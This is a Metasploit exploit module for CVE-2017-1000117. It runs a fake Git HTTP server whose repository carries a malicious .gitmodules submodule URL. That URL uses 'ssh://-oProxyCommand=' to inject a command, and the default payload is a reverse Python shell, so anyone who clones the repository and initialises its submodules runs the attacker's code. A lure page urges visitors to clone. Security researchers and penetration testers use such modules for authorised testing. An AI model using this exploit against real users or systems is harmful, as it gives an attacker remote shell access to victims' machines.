##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Git

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
        'Description' => %q(
                  This module exploits CVE-2017-1000117, which affects Git
          version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
          parameters from the username incorrectly. This can be used to inject
          commands to the operating system when the submodule is cloned.

          This module creates a fake git repository which contains a submodule
          containing the vulnerability. The vulnerability is triggered when the
          submodules are initialised.
        ),
        'Author' => 'timwr',
        'License' => MSF_LICENSE,
        'References'     =>
          [
            ['CVE', '2017-1000117'],
            ['URL', 'https://seclists.org/oss-sec/2017/q3/280' ]
          ],
        'DisclosureDate' => '2017-08-10',
        'Targets' =>
          [
            [
              'Automatic',
              {
                'Platform' => [ 'unix' ],
                'Arch' => ARCH_CMD,
                'Payload' =>
                  {
                    'Compat' =>
                      {
                        'PayloadType' => 'python'
                      }
                  }
              }
            ]
          ],
        'DefaultOptions' =>
          {
            'Payload' => 'cmd/unix/reverse_python'
          },
        'DefaultTarget'  => 0
      )
    )

    register_options(
      [
        OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
        OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
      ]
    )
  end

  def setup
    @repo_data = {
      git: { files: {} }
    }
    setup_git
    super
  end

  def setup_git
    # URI must start with a /
    unless git_uri && git_uri =~ /^\//
      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
    end

    payload_cmd = payload.encoded + " &"
    payload_cmd = Rex::Text.to_hex(payload_cmd, '%')

    submodule_path = datastore['GIT_SUBMODULE']
    if submodule_path.blank?
      submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
    end

    gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = ssh://-oProxyCommand=#{payload_cmd}/
"
    blob_obj = GitObject.build_blob_object(gitmodules)
    @repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed

    tree_entries = [
      {
        mode: '100644',
        file_name: '.gitmodules',
        sha1: blob_obj.sha1
      },
      {
        mode: '160000',
        file_name: submodule_path,
        sha1: blob_obj.sha1
      }
    ]

    tree_obj = GitObject.build_tree_object(tree_entries)
    @repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed

    commit_obj = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
    @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
    @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
    @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
  end

  def exploit
    super
  end

  def primer
    # add the git and mercurial URIs as necessary
    hardcoded_uripath(git_uri)
    print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
  end

  # handles routing any request to the mock git, mercurial or simple HTML as necessary
  def on_request_uri(cli, req)
    # if the URI is one of our repositories and the user-agent is that of git/mercurial
    # send back the appropriate data, otherwise just show the HTML version
    user_agent = req.headers['User-Agent']
    if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
      do_git(cli, req)
      return
    end

    do_html(cli, req)
  end

  # simulates a Git HTTP server
  def do_git(cli, req)
    # determine if the requested file is something we know how to serve from our
    # fake repository and send it if so
    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
    if @repo_data[:git][:files].key?(req_file)
      vprint_status("Sending Git #{req_file}")
      send_response(cli, @repo_data[:git][:files][req_file])
    else
      vprint_status("Git #{req_file} doesn't exist")
      send_not_found(cli)
    end
  end

  # simulates an HTTP server with simple HTML content that lists the fake
  # repositories available for cloning
  def do_html(cli, _req)
    resp = create_response
    resp.body = <<HTML
     <html>
      <head><title>Public Repositories</title></head>
      <body>
        <p>Here are our public repositories:</p>
        <ul>
HTML
    this_git_uri = URI.parse(get_uri).merge(git_uri)
    resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
    resp.body << <<HTML
        </ul>
      </body>
    </html>
HTML

    cli.send_response(resp)
  end

  # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
  def git_uri
    return @git_uri if @git_uri
    if datastore['GIT_URI'].blank?
      @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
    else
      @git_uri = datastore['GIT_URI']
    end
  end
end
